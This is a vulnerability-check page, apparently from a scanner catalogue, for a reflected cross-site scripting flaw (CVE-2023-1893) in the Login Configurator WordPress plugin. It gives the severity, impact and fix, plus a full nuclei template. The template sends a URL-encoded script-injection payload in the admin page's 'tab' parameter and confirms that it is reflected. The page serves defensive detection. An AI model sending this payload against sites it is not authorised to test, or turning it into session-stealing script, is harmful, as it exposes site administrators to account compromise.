Login Configurator <=2.1 - Cross-Site Scripting

mediumseverity

6.1CVSS score

0.7%likelihood of exploitation, next 30 days

54%of all CVEs are less likely

Readycheck to confirm it

Login Configurator WordPress plugin <= 2.1 contains a reflected cross-site scripting caused by improper escaping of URL parameter before outputting it to the page, letting attackers execute scripts in the context of site administrators, exploit requires victim to visit a malicious URL.

Impact

Attackers can execute arbitrary scripts in the context of site administrators, potentially leading to session hijacking or account compromise.

Fix

Update to the latest version of the plugin where the issue is fixed.

How to confirm it

Send: GET {{BaseURL}}
Positive when: contains "login-configurator"
Send: GET {{BaseURL}}/wp-admin/options-general.php?page=login-configurator-options&tab=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E#top
Positive when: contains_all(body, "<script>alert(document.domain)</script>", "login-configurator") and contains(content_type, "text/html") and status_code == 200

Run it with nuclei: nuclei -id CVE-2023-1893 -u <target>

The full check

id: CVE-2023-1893

info:
  name: Login Configurator <=2.1 - Cross-Site Scripting
  author: 0xr2r
  severity: medium
  description: |
    Login Configurator WordPress plugin <= 2.1 contains a reflected cross-site scripting caused by improper escaping of URL parameter before outputting it to the page, letting attackers execute scripts in the context of site administrators, exploit requires victim to visit a malicious URL.
  impact: |
    Attackers can execute arbitrary scripts in the context of site administrators, potentially leading to session hijacking or account compromise.
  remediation: |
    Update to the latest version of the plugin where the issue is fixed.
  reference:
    - https://wpscan.com/vulnerability/dbe6cf09-971f-42e9-b744-9339454168c7
    - http://packetstormsecurity.com/files/173723/WordPress-Login-Configurator-2.1-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1893
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-1893
    cwe-id: CWE-79
    epss-score: 0.00718
    epss-percentile: 0.54181
    cpe: cpe:2.3:a:login_configurator_project:login_configurator:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: login_configurator_project
    product: login_configurator
  tags: cve,cve2023,wp,wp-plugin,wordpress,xss,login_configurator,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    host-redirects: true
    max-redirects: 2
    matchers:
      - type: word
        part: body
        words:
          - "login-configurator"
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-admin/options-general.php?page=login-configurator-options&tab=%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E#top"

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body, "<script>alert(document.domain)</script>", "login-configurator")'
          - 'contains(content_type, "text/html")'
          - 'status_code == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from